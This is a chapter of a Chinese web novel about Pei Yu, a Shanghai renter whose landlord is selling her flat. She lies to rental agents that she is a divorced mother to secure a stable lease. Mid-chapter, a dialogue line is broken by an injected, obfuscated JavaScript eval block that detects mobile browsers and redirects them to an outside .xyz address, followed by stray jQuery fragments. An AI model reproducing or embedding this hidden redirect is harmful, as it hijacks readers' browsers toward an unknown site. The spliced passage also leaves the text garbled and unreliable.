裴雨回到出租屋时，天已经完全黑了。


    整座城市像一只安静却巨大的怪兽，吐出光亮、喧嚣和疲惫的烟雾。她一路上没再看手机，只是机械地搭地铁、刷小区门禁卡、上楼。


    她住在老楼的六楼，没有电梯。到了门口，她靠在铁门上站了一会儿，听着对门电视的声音，才伸出钥匙开门。


    房门打开那一刻，她有点松口气。


    还是这间熟悉的小屋，才四十来平方，厨房和厕所打通在一块，房间也只有一个主卧勉强放下一米五的床。客厅狭长，靠窗的位置放着她在二手市场淘来的小餐桌，上面还堆着昨晚没扔的外卖盒。


    她扔下包，鞋也没换，整个人往沙发上一倒，闭着眼深呼吸。


    这才是她在魔都最真实的落脚点。


    人民公园的相亲角像一场高浓度的信息潮，把她冲得发懵。她本来是想抓点实感——哪怕只是看看市场行情，或者给母亲一个交代。可结果是，她发现连参与都让她觉得疲惫。


    她给自己倒了杯热水，刚喝一口，手机“叮”了一声。


    一开始她没想看，还以为是公司群里又在卷什么节日海报，等躺到床上刷朋友圈时才想起刚刚那一声提示。


    点进去一看，是房东发来的消息。


    房东：小裴，最近还好吗？有个事要跟你说下。


    她下意识坐起身来。


    房东是个四十多岁的女人，说话挺客气，两人平时联系也不多。她犹豫了下，回了句：


    裴雨：嗯嗯挺好的，怎么了？


    对方秒回。


    房东：这个房子你租了也快三年了吧？本来我们一直也挺放心的，不过我这边有点变化。


    房东：我们准备明年全家移民加拿大，可能要把这套房子处理掉了，不再对外出租。


    她眼皮一跳，整个人从床上坐直了。


    处理掉？不再出租？


    她盯着那一行字看了好几遍，手指冰凉。


    这是她在魔都住得最久的一套房。周边环境她熟，楼下的便利店老板都认识她，有时候她工作晚了，他还会给她留一瓶她爱喝的无糖豆奶。


    她租的价钱虽然不低，但放在魔都算便宜的。房子采光也还不错——只要她能早起一点，就能看见东边透进来的一小块日光落在她的被子上。


    现在说没就没了？


    她努力让自己冷静下来，回复：


    裴雨：房子是要卖掉吗？


    房东：嗯，对，我们家可能要全款处理。这个地段房价还可以，挂牌后很快就能卖出去。


    接着，对方又补了一句：


    房东：你要是想买，我可以优先考虑你，也可以便宜一点，毕竟你住得惯。


    这句像一锤子，直接砸在她心口。


    她还没缓过来，对方又发了一个小区近三个月的二手房均价截图：单价8.9万，四十平，挂牌价在380万上下浮动。


    她的呼吸顿住。


    买不起，也不敢想。


    她银行卡里攒了三年多的积蓄，不到四十万，还包括了工作前两年省吃俭用、甚至年终奖都没动过的全部积累。


    连首付都不够，更别说她这种职业性质、总在跳槽，社保断断续续的情况，银行也不会轻易批贷。


    她靠在床头，盯着天花板看了很久。


    想笑，又笑不出来。


    她想起自己刚毕业那年住的地下室，没窗户，白天也要开灯。夏天热得睡不着，半夜爬到天井边乘凉，还要防蚊子。


    那时候她告诉自己，只要咬牙熬几年，总能在魔都立住脚。


    可现在呢？


    三年，站都还没站稳。


    房子要卖了，通知也不是“考虑”，而是“准备移民”，是“不会再出租”。


    她忽然有点想哭，又觉得哭出来也没用。


    裴雨点开支付宝，翻到“房租”那一栏，看着每一笔扣款时间，再翻到“储蓄”，看着那一排越来越慢的增长数字。


    她开始下意识搜索同片区的合租房。发现要不就是面积太小，要不就是要合用卫生间。


    她已经没办法再和别人合住了。


    不是嫌弃谁，是生活方式已经定型了。她早上起来素颜、半裸着在屋里走来走去、工作到凌晨吃泡面、不收拾厨房这些自由，在合租里都会变成尴尬和不安。


    她不想再回到那种战战兢兢地生活了。


    可现实是——她别无选择。


    她像泄了气的气球一样倒在床上，一动不动。


    黑暗中，手机又亮了一下。她点开，是母亲发来的新一条消息：


    【你表姐订婚了，男方在成都有房有车，两家条件也差不多，你再不考虑就真的没人要了。】


    她盯着那条消息，忽然觉得很讽刺。


    要是回了家，或许能靠家里介绍房子、对象、一条龙解决；可她一咬牙留在魔都，靠的就是努力、拼命和自我支持——可结果却连个落脚的地方都没有。


    她不知道自己当初拼命留在这里，是为了什么。


    是为了梦想吗？是为了证明点什么？是为了不想成为“听话”的那个“别人家的女儿”？


    可她想了很久，发现自己好像也没有多么理想主义，只是不甘心吧。


    只是想做自己的主，哪怕辛苦点，起码是“我选择的”。


    手机再次震动，是朋友发来的消息。


    林淼：今天晚上你还好吗？听说你去了相亲角，我妈妈说看见你了。


    她盯着那行字看了很久，最终只打出三个字：


    裴雨：还行吧。


    过了会儿，她又打下一句。


    裴雨：就是房东突然说要卖房，不再出租了，我得找新房子了。


    这次对面沉默了一会儿，才回：


    林淼：如果你不嫌弃的话……我家那边有一间空房，虽然在郊区，远了点，也旧，但你可以先住段时间。


    她看着那条消息，眼眶一热，却什么也没说。


    她知道，自己不会去住。


    但也知道，这个城市还是有人记得她的。


    她轻轻合上眼，躺在床上，任由夜色一点点沉下来。


    第二天一大早，裴雨没去公司。


    她请了年假，一觉睡到了自然醒，却没有丝毫放松的感觉。


    醒来的第一件事，是把自己关进浴室洗了个热水澡，然后裹着浴巾站在镜子前，看着自己洗得通红的脸发呆。


    “打起精神来。”她对着镜子说。


    然后花了整整五分钟，把自己吹干、穿戴整齐，重新刷了一遍租房APP。


    上面那套熟悉的房源——她租了三年、熟门熟路的那套老房子，依然挂在“即将下架”的红字提示下，亮得扎眼。


    她没再犹豫，点开了附近几个中介电话，准备放手一搏。


    电话很快接通，是个男声，语气极快：“喂，您好，请问您要租房是吗？”


    “嗯，我现在住在中山公园附近，预算差不多五千吧，不想换得太远。”


    “那您是一个人住还是？”


    “啊……”她的脑子一抽，突然不知道哪根神经搭错了，鬼使神差地脱口而出，“我是……离异，带一个孩子。”


    电话那头顿了顿。


    “……好的，没问题。”


    “就是，我孩子现在读幼儿园了，不太想总搬来搬去，所以希望房子能稳一点，我也不会轻易搬家。”她干脆一不做二不休，继续编下去。


    “明白明白。”中介的语气立刻变得客气起来，甚至带了一丝“理解万岁”的同情味儿，“这边我们会优先帮您挑稳定房源的，那孩子平时也要安稳点嘛，您放心。”


    挂断电话后，裴雨盯着手机愣了好几秒，然后扑倒在床上大笑出声。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691755|173386||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    疯了吧你，裴雨。”她捶了下枕头，自言自语，“什么带娃离婚，你电视剧看多了？”


    可说来也奇怪，那一刻她居然感觉自己在这城市里“稳了几分”。


    或许是因为，“离婚带娃”这几个词，听起来就不是能轻易被赶走的角色。


    很快，房产中介的微信“叮叮”响个不停。


    信息一条接一条：


    【小姐姐，这是离你现住处步行十分钟的公寓，两房一厅带电梯，租金5300，比你现在高一点点，不过很安静。】


    【这一套有点老，但房东是退休老师，人特别好，而且长期出租，最适合您这种有小孩的家庭。】


    【这套采光很好，适合孩子晒太阳——小朋友现在多大？要不要我也一起帮您查查附近幼儿园？】


    她盯着手机，头皮发麻。


    你编的谎，得自己演下去。


    她开始给“孩子”设定人设。


    “我家小孩三岁半，活泼，就是有点认生，不太喜欢新环境。”她边敲字边笑，笑完又觉得这事有点滑稽。


    房子一套套刷下来，照片看得眼睛都花。裴雨突然有点累。


    为什么她要这么紧张地找房子？为什么她得用“带娃”的借口来掩盖一个独居女人的脆弱？


    她心里明白。


    在这个城市，独身租客是不稳的，是“随时可能消失”的。房东会担心租不长，中介也不会上心。可一旦你身后有个“孩子”，就像在身份后面加了一块石头，显得沉稳、可靠、不会轻易迁徙。


    她突然想起她母亲曾经说过的一句话：


    “一个人在外面，别人都不会真当你一回事，除非你有拖油瓶。”


    她当时还跟母亲争：“我又不是谁的负担，为什么要把孩子叫拖油瓶？”


    可现在，她居然主动变成了那个“带着孩子”的人。


    为了租房。


    中介终于约了两套房，让她去线下看房。


    她特地穿了件素色针织衫，又背了个看起来比较“妈妈感”的帆布包，走进那家小区的时候，还不忘在楼下超市买了根棒棒糖拿在手里。


    “装得真敬业。”她边走边自嘲。


    见面的是个年轻男中介，一见面就特别热情：“哎呀，您本人比照片还年轻，我还以为您三十好几了呢！”


    裴雨差点没绷住。


    “哈哈，我就是保养得好。”她挤出笑。


    “孩子没一起来吗？”


    “啊，今天幼儿园开放日，我让他奶奶带着去看看了。”裴雨胡诌地越来越熟练，顺便还编了个“前夫家愿意出力带孩子”的设定。


    “那您这边是自己租，还是和家里一起住？”


    “自己，我工作忙，孩子平时也早上送托，晚上接回来，基本不打扰邻居。”


    “明白明白，那这几套您要不先看看？我这边还有几套低楼层的适合小孩活动。”


    一上午，她看了三套房。一套太旧，进门就有一股油烟味；一套采光好，可离地铁太远；最后一套刚刚好，但价格偏高，中介还特别补刀：“这房东孩子都送出国了，这房子是留给他孙子的，将来不会卖，也不会涨租。”


    她愣了愣。


    “你说啥？”


    “就……适合您这种准备安顿下来的。”


    她没有再解释，点点头：“我回去考虑下。”


    回到出租屋的那一刻，她松了一口气。


    她坐在小桌前，看着那堆房源截图，一边啃超市买的冷面包，一边脑子里飞快地盘算着三个月的搬家计划。


    她不能拖。


    不能指望房东“网开一面”，更不能祈求自己能偶然中个彩票，立刻拥有购房能力。


    她只能靠自己——甚至连身份，也靠自己“捏造”。


    在这个城市里，裴雨终于明白了什么叫“出门在外，身份是自己给的”。